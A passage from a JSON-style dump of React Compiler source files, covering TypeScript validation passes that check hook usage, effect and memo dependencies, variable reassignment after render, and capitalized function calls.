=== 'named', {\n      reason: 'Expected manual dependencies to be named variables',\n      loc: dep.root.value.loc,\n    });\n    identifierName = name.value;\n  }\n  return `${identifierName}${dep.path.map(p => (p.optional ? '?' : '') + '.' + p.property).join('')}`;\n}\n\nfunction isEqualTemporary(a: Temporary, b: Temporary): boolean {\n  switch (a.kind) {\n    case 'Aggregate': {\n      return false;\n    }\n    case 'Global': {\n      return b.kind === 'Global' && a.binding.name === b.binding.name;\n    }\n    case 'Local': {\n      return (\n        b.kind === 'Local' &&\n        a.identifier.id === b.identifier.id &&\n        areEqualPaths(a.path, b.path)\n      );\n    }\n  }\n}\n\ntype Temporary =\n  | {kind: 'Global'; binding: LoadGlobal['binding']}\n  | {\n      kind: 'Local';\n      identifier: Identifier;\n      path: DependencyPath;\n      context: boolean;\n      loc: SourceLocation;\n    }\n  | {\n      kind: 'Aggregate';\n      dependencies: Set<InferredDependency>;\n      loc?: SourceLocation;\n    };\ntype InferredDependency = Extract<Temporary, {kind: 'Local' | 'Global'}>;\n\nfunction collectReactiveIdentifiersHIR(fn: HIRFunction): Set<IdentifierId> {\n  const reactive = new Set<IdentifierId>();\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      for (const lvalue of eachInstructionLValue(instr)) {\n        if (lvalue.reactive) {\n          reactive.add(lvalue.identifier.id);\n        }\n      }\n      for (const operand of eachInstructionValueOperand(instr.value)) {\n        if (operand.reactive) {\n          reactive.add(operand.identifier.id);\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      if (operand.reactive) {\n        reactive.add(operand.identifier.id);\n      }\n    }\n  }\n  return reactive;\n}\n\nexport function findOptionalPlaces(\n  fn: HIRFunction,\n): Map<IdentifierId, boolean> {\n  const optionals = new Map<IdentifierId, boolean>();\n  const visited: Set<BlockId> = new Set();\n  for (const [, block] of fn.body.blocks) {\n    if (visited.has(block.id)) {\n      continue;\n    }\n    if (block.terminal.kind === 'optional') {\n      visited.add(block.id);\n      const optionalTerminal = block.terminal;\n      let testBlock = fn.body.blocks.get(block.terminal.test)!;\n      const queue: Array<boolean | null> = [block.terminal.optional];\n      loop: while (true) {\n        visited.add(testBlock.id);\n        const terminal = testBlock.terminal;\n        switch (terminal.kind) {\n          case 'branch': {\n            const isOptional = queue.pop();\n            CompilerError.invariant(isOptional !== undefined, {\n              reason:\n                'Expected an optional value for each optional test condition',\n              loc: terminal.test.loc,\n            });\n            if (isOptional != null) {\n              optionals.set(terminal.test.identifier.id, isOptional);\n            }\n            if (terminal.fallthrough === optionalTerminal.fallthrough) {\n              // found it\n              const consequent = fn.body.blocks.get(terminal.consequent)!;\n              const last = consequent.instructions.at(-1);\n              if (last !== undefined && last.value.kind === 'StoreLocal') {\n                if (isOptional != null) {\n                  optionals.set(last.value.value.identifier.id, isOptional);\n                }\n              }\n              break loop;\n            } else {\n              testBlock = fn.body.blocks.get(terminal.fallthrough)!;\n            }\n            break;\n          }\n          case 'optional': {\n            queue.push(terminal.optional);\n            testBlock = fn.body.blocks.get(terminal.test)!;\n            break;\n          }\n          case 'logical':\n          case 'ternary': {\n            queue.push(null);\n            testBlock = fn.body.blocks.get(terminal.test)!;\n            break;\n          }\n\n          case 'sequence': {\n            // Do we need sequence?? In any case, don't push to queue bc there is no corresponding branch terminal\n            testBlock = fn.body.blocks.get(terminal.block)!;\n            break;\n          }\n          case 'maybe-throw': {\n            testBlock = fn.body.blocks.get(terminal.continuation)!;\n            break;\n          }\n          default: {\n            CompilerError.invariant(false, {\n              reason: `Unexpected terminal in optional`,\n              message: `Unexpected ${terminal.kind} in optional`,\n              loc: terminal.loc,\n            });\n          }\n        }\n      }\n      CompilerError.invariant(queue.length === 0, {\n        reason:\n          'Expected a matching number of conditional blocks and branch points',\n        loc: block.terminal.loc,\n      });\n    }\n  }\n  return optionals;\n}\n\nfunction isOptionalDependency(\n  inferredDependency: Extract<InferredDependency, {kind: 'Local'}>,\n  reactive: Set<IdentifierId>,\n): boolean {\n  return (\n    !reactive.has(inferredDependency.identifier.id) &&\n    (isStableType(inferredDependency.identifier) ||\n      isPrimitiveType(inferredDependency.identifier))\n  );\n}\n\nfunction createDiagnostic(\n  category:\n    | ErrorCategory.MemoDependencies\n    | ErrorCategory.EffectExhaustiveDependencies,\n  missing: Array<InferredDependency>,\n  extra: Array<ManualMemoDependency>,\n  suggestion: CompilerSuggestion | null,\n): CompilerDiagnostic {\n  let reason: string;\n  let description: string;\n\n  function joinMissingExtraDetail(\n    missingString: string,\n    extraString: string,\n    joinStr: string,\n  ): string {\n    return [\n      missing.length !== 0 ? missingString : null,\n      extra.length !== 0 ? extraString : null,\n    ]\n      .filter(Boolean)\n      .join(joinStr);\n  }\n\n  switch (category) {\n    case ErrorCategory.MemoDependencies: {\n      reason = `Found ${joinMissingExtraDetail('missing', 'extra', '/')} memoization dependencies`;\n      description = joinMissingExtraDetail(\n        'Missing dependencies can cause a value to update less often than it should, resulting in stale UI',\n        'Extra dependencies can cause a value to update more often than it should, resulting in performance' +\n          ' problems such as excessive renders or effects firing too often',\n        '. ',\n      );\n      break;\n    }\n    case ErrorCategory.EffectExhaustiveDependencies: {\n      reason = `Found ${joinMissingExtraDetail('missing', 'extra', '/')} effect dependencies`;\n      description = joinMissingExtraDetail(\n        'Missing dependencies can cause an effect to fire less often than it should',\n        'Extra dependencies can cause an effect to fire more often than it should, resulting' +\n          ' in performance problems such as excessive renders and side effects',\n        '. ',\n      );\n      break;\n    }\n    default: {\n      CompilerError.invariant(false, {\n        reason: `Unexpected error category: ${category}`,\n        loc: GeneratedSource,\n      });\n    }\n  }\n\n  return CompilerDiagnostic.create({\n    category,\n    reason,\n    description,\n    suggestions: suggestion != null ? [suggestion] : null,\n  });\n}\n\nexport function isEffectHook(identifier: Identifier): boolean {\n  return (\n    isUseEffectHookType(identifier) ||\n    isUseLayoutEffectHookType(identifier) ||\n    isUseInsertionEffectHookType(identifier)\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateHooksUsage.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {CompilerErrorDetail, ErrorCategory} from '../CompilerError';\nimport {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';\nimport {Environment, isHookName} from '../HIR/Environment';\nimport {\n  HIRFunction,\n  IdentifierId,\n  Place,\n  SourceLocation,\n  getHookKind,\n} from '../HIR/HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {assertExhaustive} from '../Utils/utils';\n\n/**\n * Represents the possible kinds of value which may be stored at a given Place during\n * abstract interpretation. The kinds form a lattice, with earlier items taking\n * precedence over later items (see joinKinds()).\n */\nenum Kind {\n  // A potential/known hook which was already used in an invalid way\n  Error = 'Error',\n\n  /*\n   * A known hook. Sources include:\n   * - LoadGlobal instructions whose type was inferred as a hook\n   * - PropertyLoad, ComputedLoad, and Destructuring instructions\n   *   where the object is a KnownHook\n   * - PropertyLoad, ComputedLoad, and Destructuring instructions\n   *   where the object is a Global and the property name is hook-like\n   */\n  KnownHook = 'KnownHook',\n\n  /*\n   * A potential hook. Sources include:\n   * - LValues (other than LoadGlobal) where the name is hook-like\n   * - PropertyLoad, ComputedLoad, and Destructuring instructions\n   *   where the object is a potential hook or the property name\n   *   is hook-like\n   */\n  PotentialHook = 'PotentialHook',\n\n  // LoadGlobal values whose type was not inferred as a hook\n  Global = 'Global',\n\n  // All other values, ie local variables\n  Local = 'Local',\n}\n\nfunction joinKinds(a: Kind, b: Kind): Kind {\n  if (a === Kind.Error || b === Kind.Error) {\n    return Kind.Error;\n  } else if (a === Kind.KnownHook || b === Kind.KnownHook) {\n    return Kind.KnownHook;\n  } else if (a === Kind.PotentialHook || b === Kind.PotentialHook) {\n    return Kind.PotentialHook;\n  } else if (a === Kind.Global || b === Kind.Global) {\n    return Kind.Global;\n  } else {\n    return Kind.Local;\n  }\n}\n\n/*\n * Validates that the function honors the [Rules of Hooks](https://react.dev/warnings/invalid-hook-call-warning)\n * rule that hooks may only be called and not otherwise referenced as first-class values.\n *\n * Specifically this pass implements the following rules:\n * - Known hooks may only be called unconditionally, and cannot be used as first-class values.\n *   See the note for Kind.KnownHook for sources of known hooks\n * - Potential hooks may be referenced as first-class values, with the exception that they\n *   may not appear as the callee of a conditional call.\n *   See the note for Kind.PotentialHook for sources of potential hooks\n */\nexport function validateHooksUsage(fn: HIRFunction): void {\n  const unconditionalBlocks = computeUnconditionalBlocks(fn);\n\n  const errorsByPlace = new Map<t.SourceLocation, CompilerErrorDetail>();\n\n  function trackError(\n    loc: SourceLocation,\n    errorDetail: CompilerErrorDetail,\n  ): void {\n    if (typeof loc === 'symbol') {\n      fn.env.recordError(errorDetail);\n    } else {\n      errorsByPlace.set(loc, errorDetail);\n    }\n  }\n\n  function recordConditionalHookError(place: Place): void {\n    // Once a particular hook has a conditional call error, don't report any further issues for this hook\n    setKind(place, Kind.Error);\n\n    const reason =\n      'Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)';\n    const previousError =\n      typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;\n\n    /*\n     * In some circumstances such as optional calls, we may first encounter a \"hook may not be referenced as normal values\" error.\n     * If that same place is also used as a conditional call, upgrade the error to a conditonal hook error\n     */\n    if (previousError === undefined || previousError.reason !== reason) {\n      trackError(\n        place.loc,\n        new CompilerErrorDetail({\n          category: ErrorCategory.Hooks,\n          description: null,\n          reason,\n          loc: place.loc,\n          suggestions: null,\n        }),\n      );\n    }\n  }\n  function recordInvalidHookUsageError(place: Place): void {\n    const previousError =\n      typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;\n    if (previousError === undefined) {\n      trackError(\n        place.loc,\n        new CompilerErrorDetail({\n          category: ErrorCategory.Hooks,\n          description: null,\n          reason:\n            'Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values',\n          loc: place.loc,\n          suggestions: null,\n        }),\n      );\n    }\n  }\n  function recordDynamicHookUsageError(place: Place): void {\n    const previousError =\n      typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;\n    if (previousError === undefined) {\n      trackError(\n        place.loc,\n        new CompilerErrorDetail({\n          category: ErrorCategory.Hooks,\n          description: null,\n          reason:\n            'Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks',\n          loc: place.loc,\n          suggestions: null,\n        }),\n      );\n    }\n  }\n\n  const valueKinds = new Map<IdentifierId, Kind>();\n  function getKindForPlace(place: Place): Kind {\n    const knownKind = valueKinds.get(place.identifier.id);\n    if (\n      place.identifier.name !== null &&\n      isHookName(place.identifier.name.value)\n    ) {\n      return joinKinds(knownKind ?? Kind.Local, Kind.PotentialHook);\n    } else {\n      return knownKind ?? Kind.Local;\n    }\n  }\n\n  function visitPlace(place: Place): void {\n    const kind = valueKinds.get(place.identifier.id);\n    if (kind === Kind.KnownHook) {\n      recordInvalidHookUsageError(place);\n    }\n  }\n\n  function setKind(place: Place, kind: Kind): void {\n    valueKinds.set(place.identifier.id, kind);\n  }\n\n  for (const param of fn.params) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    const kind = getKindForPlace(place);\n    setKind(place, kind);\n  }\n\n  for (const [, block] of fn.body.blocks) {\n    for (const phi of block.phis) {\n      let kind: Kind =\n        phi.place.identifier.name !== null &&\n        isHookName(phi.place.identifier.name.value)\n          ? Kind.PotentialHook\n          : Kind.Local;\n      for (const [, operand] of phi.operands) {\n        const operandKind = valueKinds.get(operand.identifier.id);\n        /*\n         * NOTE: we currently skip operands whose value is unknown\n         * (which can only occur for functions with loops), we may\n         * cause us to miss invalid code in some cases. We should\n         * expand this to a fixpoint iteration in a follow-up.\n         */\n        if (operandKind !== undefined) {\n          kind = joinKinds(kind, operandKind);\n        }\n      }\n      valueKinds.set(phi.place.identifier.id, kind);\n    }\n    for (const instr of block.instructions) {\n      switch (instr.value.kind) {\n        case 'LoadGlobal': {\n          /*\n           * Globals are the one source of known hooks: they are either\n           * directly a hook, or infer a Global kind from which knownhooks\n           * can be derived later via property access (PropertyLoad etc)\n           */\n          if (getHookKind(fn.env, instr.lvalue.identifier) != null) {\n            setKind(instr.lvalue, Kind.KnownHook);\n          } else {\n            setKind(instr.lvalue, Kind.Global);\n          }\n          break;\n        }\n        case 'LoadContext':\n        case 'LoadLocal': {\n          visitPlace(instr.value.place);\n          const kind = getKindForPlace(instr.value.place);\n          setKind(instr.lvalue, kind);\n          break;\n        }\n        case 'StoreLocal':\n        case 'StoreContext': {\n          visitPlace(instr.value.value);\n          const kind = joinKinds(\n            getKindForPlace(instr.value.value),\n            getKindForPlace(instr.value.lvalue.place),\n          );\n          setKind(instr.value.lvalue.place, kind);\n          setKind(instr.lvalue, kind);\n          break;\n        }\n        case 'ComputedLoad': {\n          visitPlace(instr.value.object);\n          const kind = getKindForPlace(instr.value.object);\n          setKind(instr.lvalue, joinKinds(getKindForPlace(instr.lvalue), kind));\n          break;\n        }\n        case 'PropertyLoad': {\n          const objectKind = getKindForPlace(instr.value.object);\n          const isHookProperty =\n            typeof instr.value.property === 'string' &&\n            isHookName(instr.value.property);\n          let kind: Kind;\n          switch (objectKind) {\n            case Kind.Error: {\n              kind = Kind.Error;\n              break;\n            }\n            case Kind.KnownHook: {\n              /**\n               * const useFoo;\n               * function Component() {\n               *   let x = useFoo.useBar; // useFoo is KnownHook, any property from it inherits KnownHook\n               * }\n               */\n              kind = isHookProperty ? Kind.KnownHook : Kind.Local;\n              break;\n            }\n            case Kind.PotentialHook: {\n              /**\n               * function Component(props) {\n               *   let useFoo;\n               *   let x = useFoo.useBar; // useFoo is PotentialHook, any property from it inherits PotentialHook\n               * }\n               */\n              kind = Kind.PotentialHook;\n              break;\n            }\n            case Kind.Global: {\n              /**\n               * function Component() {\n               *   let x = React.useState; // hook-named property of global is knownhook\n               *   let y = React.foo; // else inherit Global\n               * }\n               */\n              kind = isHookProperty ? Kind.KnownHook : Kind.Global;\n              break;\n            }\n            case Kind.Local: {\n              /**\n               * function Component() {\n               *   let o = createObject();\n               *   let x = o.useState; // hook-named property of local is potentialhook\n               *   let y = o.foo; // else inherit local\n               * }\n               */\n              kind = isHookProperty ? Kind.PotentialHook : Kind.Local;\n              break;\n            }\n            default: {\n              assertExhaustive(objectKind, `Unexpected kind \\`${objectKind}\\``);\n            }\n          }\n          setKind(instr.lvalue, kind);\n          break;\n        }\n        case 'CallExpression': {\n          const calleeKind = getKindForPlace(instr.value.callee);\n          const isHookCallee =\n            calleeKind === Kind.KnownHook || calleeKind === Kind.PotentialHook;\n          if (isHookCallee && !unconditionalBlocks.has(block.id)) {\n            recordConditionalHookError(instr.value.callee);\n          } else if (calleeKind === Kind.PotentialHook) {\n            recordDynamicHookUsageError(instr.value.callee);\n          }\n          /**\n           * We intentionally skip the callee because it's validated above\n           */\n          for (const operand of eachInstructionOperand(instr)) {\n            if (operand === instr.value.callee) {\n              continue;\n            }\n            visitPlace(operand);\n          }\n          break;\n        }\n        case 'MethodCall': {\n          const calleeKind = getKindForPlace(instr.value.property);\n          const isHookCallee =\n            calleeKind === Kind.KnownHook || calleeKind === Kind.PotentialHook;\n          if (isHookCallee && !unconditionalBlocks.has(block.id)) {\n            recordConditionalHookError(instr.value.property);\n          } else if (calleeKind === Kind.PotentialHook) {\n            recordDynamicHookUsageError(instr.value.property);\n          }\n          /*\n           * We intentionally skip the property because it's validated above\n           */\n          for (const operand of eachInstructionOperand(instr)) {\n            if (operand === instr.value.property) {\n              continue;\n            }\n            visitPlace(operand);\n          }\n          break;\n        }\n        case 'Destructure': {\n          visitPlace(instr.value.value);\n          const objectKind = getKindForPlace(instr.value.value);\n          for (const lvalue of eachInstructionLValue(instr)) {\n            const isHookProperty =\n              lvalue.identifier.name !== null &&\n              isHookName(lvalue.identifier.name.value);\n            let kind: Kind;\n            switch (objectKind) {\n              case Kind.Error: {\n                kind = Kind.Error;\n                break;\n              }\n              case Kind.KnownHook: {\n                kind = Kind.KnownHook;\n                break;\n              }\n              case Kind.PotentialHook: {\n                kind = Kind.PotentialHook;\n                break;\n              }\n              case Kind.Global: {\n                kind = isHookProperty ? Kind.KnownHook : Kind.Global;\n                break;\n              }\n              case Kind.Local: {\n                kind = isHookProperty ? Kind.PotentialHook : Kind.Local;\n                break;\n              }\n              default: {\n                assertExhaustive(\n                  objectKind,\n                  `Unexpected kind \\`${objectKind}\\``,\n                );\n              }\n            }\n            setKind(lvalue, kind);\n          }\n          break;\n        }\n        case 'ObjectMethod':\n        case 'FunctionExpression': {\n          visitFunctionExpression(fn.env, instr.value.loweredFunc.func);\n          break;\n        }\n        default: {\n          /*\n           * Else check usages of operands, but do *not* flow properties\n           * from operands into the lvalues. For example, `let x = identity(y)`\n           * does not infer `x` as a potential hook even if `y` is a potential hook.\n           */\n          for (const operand of eachInstructionOperand(instr)) {\n            visitPlace(operand);\n          }\n          for (const lvalue of eachInstructionLValue(instr)) {\n            const kind = getKindForPlace(lvalue);\n            setKind(lvalue, kind);\n          }\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      visitPlace(operand);\n    }\n  }\n\n  for (const [, error] of errorsByPlace) {\n    fn.env.recordError(error);\n  }\n}\n\nfunction visitFunctionExpression(env: Environment, fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      switch (instr.value.kind) {\n        case 'ObjectMethod':\n        case 'FunctionExpression': {\n          visitFunctionExpression(env, instr.value.loweredFunc.func);\n          break;\n        }\n        case 'MethodCall':\n        case 'CallExpression': {\n          const callee =\n            instr.value.kind === 'CallExpression'\n              ? instr.value.callee\n              : instr.value.property;\n          const hookKind = getHookKind(fn.env, callee.identifier);\n          if (hookKind != null) {\n            env.recordError(\n              new CompilerErrorDetail({\n                category: ErrorCategory.Hooks,\n                reason:\n                  'Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)',\n                loc: callee.loc,\n                description: `Cannot call ${hookKind === 'Custom' ? 'hook' : hookKind} within a function expression`,\n                suggestions: null,\n              }),\n            );\n          }\n          break;\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateLocalsNotReassignedAfterRender.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic, CompilerError, Effect} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {Environment} from '../HIR/Environment';\nimport {HIRFunction, IdentifierId, Place} from '../HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';\n\n/**\n * Validates that local variables cannot be reassigned after render.\n * This prevents a category of bugs in which a closure captures a\n * binding from one render but does not update\n */\nexport function validateLocalsNotReassignedAfterRender(fn: HIRFunction): void {\n  const contextVariables = new Set<IdentifierId>();\n  const reassignment = getContextReassignment(\n    fn,\n    contextVariables,\n    false,\n    false,\n    fn.env,\n  );\n  if (reassignment !== null) {\n    const variable =\n      reassignment.identifier.name != null &&\n      reassignment.identifier.name.kind === 'named'\n        ? `\\`${reassignment.identifier.name.value}\\``\n        : 'variable';\n    fn.env.recordError(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Immutability,\n        reason: 'Cannot reassign variable after render completes',\n        description: `Reassigning ${variable} after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead`,\n      }).withDetails({\n        kind: 'error',\n        loc: reassignment.loc,\n        message: `Cannot reassign ${variable} after render completes`,\n      }),\n    );\n  }\n}\n\nfunction getContextReassignment(\n  fn: HIRFunction,\n  contextVariables: Set<IdentifierId>,\n  isFunctionExpression: boolean,\n  isAsync: boolean,\n  env: Environment,\n): Place | null {\n  const reassigningFunctions = new Map<IdentifierId, Place>();\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'FunctionExpression':\n        case 'ObjectMethod': {\n          let reassignment = getContextReassignment(\n            value.loweredFunc.func,\n            contextVariables,\n            true,\n            isAsync || value.loweredFunc.func.async,\n            env,\n          );\n          if (reassignment === null) {\n            // If the function itself doesn't reassign, does one of its dependencies?\n            for (const operand of eachInstructionValueOperand(value)) {\n              const reassignmentFromOperand = reassigningFunctions.get(\n                operand.identifier.id,\n              );\n              if (reassignmentFromOperand !== undefined) {\n                reassignment = reassignmentFromOperand;\n                break;\n              }\n            }\n          }\n          // if the function or its depends reassign, propagate that fact on the lvalue\n          if (reassignment !== null) {\n            if (isAsync || value.loweredFunc.func.async) {\n              const variable =\n                reassignment.identifier.name !== null &&\n                reassignment.identifier.name.kind === 'named'\n                  ? `\\`${reassignment.identifier.name.value}\\``\n                  : 'variable';\n              env.recordError(\n                CompilerDiagnostic.create({\n                  category: ErrorCategory.Immutability,\n                  reason: 'Cannot reassign variable in async function',\n                  description:\n                    'Reassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead',\n                }).withDetails({\n                  kind: 'error',\n                  loc: reassignment.loc,\n                  message: `Cannot reassign ${variable}`,\n                }),\n              );\n              return null;\n            }\n            reassigningFunctions.set(lvalue.identifier.id, reassignment);\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          const reassignment = reassigningFunctions.get(\n            value.value.identifier.id,\n          );\n          if (reassignment !== undefined) {\n            reassigningFunctions.set(\n              value.lvalue.place.identifier.id,\n              reassignment,\n            );\n            reassigningFunctions.set(lvalue.identifier.id, reassignment);\n          }\n          break;\n        }\n        case 'LoadLocal': {\n          const reassignment = reassigningFunctions.get(\n            value.place.identifier.id,\n          );\n          if (reassignment !== undefined) {\n            reassigningFunctions.set(lvalue.identifier.id, reassignment);\n          }\n          break;\n        }\n        case 'DeclareContext': {\n          if (!isFunctionExpression) {\n            contextVariables.add(value.lvalue.place.identifier.id);\n          }\n          break;\n        }\n        case 'StoreContext': {\n          if (isFunctionExpression) {\n            if (contextVariables.has(value.lvalue.place.identifier.id)) {\n              return value.lvalue.place;\n            }\n          } else {\n            /*\n             * We only track reassignments of variables defined in the outer\n             * component or hook.\n             */\n            contextVariables.add(value.lvalue.place.identifier.id);\n          }\n          const reassignment = reassigningFunctions.get(\n            value.value.identifier.id,\n          );\n          if (reassignment !== undefined) {\n            reassigningFunctions.set(\n              value.lvalue.place.identifier.id,\n              reassignment,\n            );\n            reassigningFunctions.set(lvalue.identifier.id, reassignment);\n          }\n          break;\n        }\n        default: {\n          let operands = eachInstructionValueOperand(value);\n          // If we're calling a function that doesn't let its arguments escape, only test the callee\n          if (value.kind === 'CallExpression') {\n            const signature = getFunctionCallSignature(\n              fn.env,\n              value.callee.identifier.type,\n            );\n            if (signature?.noAlias) {\n              operands = [value.callee];\n            }\n          } else if (value.kind === 'MethodCall') {\n            const signature = getFunctionCallSignature(\n              fn.env,\n              value.property.identifier.type,\n            );\n            if (signature?.noAlias) {\n              operands = [value.receiver, value.property];\n            }\n          } else if (value.kind === 'TaggedTemplateExpression') {\n            const signature = getFunctionCallSignature(\n              fn.env,\n              value.tag.identifier.type,\n            );\n            if (signature?.noAlias) {\n              operands = [value.tag];\n            }\n          }\n          for (const operand of operands) {\n            CompilerError.invariant(operand.effect !== Effect.Unknown, {\n              reason: `Expected effects to be inferred prior to ValidateLocalsNotReassignedAfterRender`,\n              loc: operand.loc,\n            });\n            const reassignment = reassigningFunctions.get(\n              operand.identifier.id,\n            );\n            if (reassignment !== undefined) {\n              /*\n               * Functions that reassign local variables are inherently mutable and are unsafe to pass\n               * to a place that expects a frozen value. Propagate the reassignment upward.\n               */\n              if (operand.effect === Effect.Freeze) {\n                return reassignment;\n              } else {\n                /*\n                 * If the operand is not frozen but it does reassign, then the lvalues\n                 * of the instruction could also be reassigning\n                 */\n                for (const lval of eachInstructionLValue(instr)) {\n                  reassigningFunctions.set(lval.identifier.id, reassignment);\n                }\n              }\n            }\n          }\n          break;\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      const reassignment = reassigningFunctions.get(operand.identifier.id);\n      if (reassignment !== undefined) {\n        return reassignment;\n      }\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoCapitalizedCalls.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerErrorDetail, EnvironmentConfig} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {HIRFunction, IdentifierId} from '../HIR';\nimport {DEFAULT_GLOBALS} from '../HIR/Globals';\n\nexport function validateNoCapitalizedCalls(fn: HIRFunction): void {\n  const envConfig: EnvironmentConfig = fn.env.config;\n  const ALLOW_LIST = new Set([\n    ...DEFAULT_GLOBALS.keys(),\n    ...(envConfig.validateNoCapitalizedCalls ?? []),\n  ]);\n  const isAllowed = (name: string): boolean => {\n    return ALLOW_LIST.has(name);\n  };\n\n  const capitalLoadGlobals = new Map<IdentifierId, string>();\n  const capitalizedProperties = new Map<IdentifierId, string>();\n  const reason =\n    'Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config';\n  for (const [, block] of fn.body.blocks) {\n    for (const {lvalue, value} of block.instructions) {\n      switch (value.kind) {\n        case 'LoadGlobal': {\n          if (\n            value.binding.name != '' &&\n            /^[A-Z]/.test(value.binding.name) &&\n            // We don't want to flag CONSTANTS()\n            !(value.binding.name.toUpperCase() === value.binding.name) &&\n            !isAllowed(value.binding.name)\n          ) {\n            capitalLoadGlobals.set(lvalue.identifier.id, value.binding.name);\n          }\n\n          break;\n        }\n        case 'CallExpression': {\n          const calleeIdentifier = value.callee.identifier.id;\n          const calleeName = capitalLoadGlobals.get(calleeIdentifier);\n          if (calleeName != null) {\n            fn.env.recordError(\n              new CompilerErrorDetail({\n                category: ErrorCategory.CapitalizedCalls,\n                reason,\n                description: `${calleeName} may be a component`,\n                loc: value.loc,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          break;\n        }\n        case 'PropertyLoad': {\n          // Start conservative and disallow all capitalized method calls\n          if (\n            typeof value.property === 'string' &&\n            /^[A-Z]/.test(value.property)\n          ) {\n            capitalizedProperties.set(lvalue.identifier.id, value.property);\n          }\n          break;\n        }\n        case 'MethodCall': {\n          const propertyIdentifier = value.property.identifier.id;\n          const propertyName = capitalizedProperties.get(propertyIdentifier);\n          if (propertyName != null) {\n            fn.env.recordError(\n              new CompilerErrorDetail({\n                category: ErrorCategory.CapitalizedCalls,\n                reason,\n                description: `${propertyName} may be a component`,\n                loc: value.loc,\n                suggestions: null,\n              }),\n            );\n          }\n          break;\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError, SourceLocation} from '..';\nimport {CompilerErrorDetail, ErrorCategory} from '../CompilerError';\nimport {\n  ArrayExpression,\n  BlockId,\n  FunctionExpression,\n  HIRFunction,\n  IdentifierId,\n  isSetStateType,\n  isUseEffectHookType,\n} from '../HIR';\nimport {\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {Environment} from '../HIR/Environment';\n\n/**\n * Validates that useEffect is not used for derived computations which could/should\n * be performed in render.\n *\n * See https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\n *\n * Example:\n *\n * ```\n * // 🔴 Avoid: redundant state and unnecessary Effect\n * const [fullName, setFullName] = useState('');\n * useEffect(() => {\n *   setFullName(firstName + ' ' + lastName);\n * }, [firstName, lastName]);\n * ```\n *\n * Instead use:\n *\n * ```\n * // ✅ Good: calculated during rendering\n * const fullName = firstName + ' ' + lastName;\n * ```\n */\nexport function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {\n  const candidateDependencies: Map<IdentifierId, ArrayExpression> = new Map();\n  const functions: Map<IdentifierId, FunctionExpression> = new Map();\n  const locals: Map<IdentifierId, IdentifierId> = new Map();\n\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      if (value.kind === 'LoadLocal') {\n        locals.set(lvalue.identifier.id, value.place.identifier.id);\n      } else if (value.kind === 'ArrayExpression') {\n        candidateDependencies.set(lvalue.identifier.id, value);\n      } else if (value.kind === 'FunctionExpression') {\n        functions.set(lvalue.identifier.id, value);\n      } else if (\n        value.kind === 'CallExpression' ||\n        value.kind === 'MethodCall'\n      ) {\n        const callee =\n          value.kind === 'CallExpression' ? value.callee : value.property;\n        if (\n          isUseEffectHookType(callee.identifier) &&\n          value.args.length === 2 &&\n          value.args[0].kind === 'Identifier' &&\n          value.args[1].kind === 'Identifier'\n        ) {\n          const effectFunction = 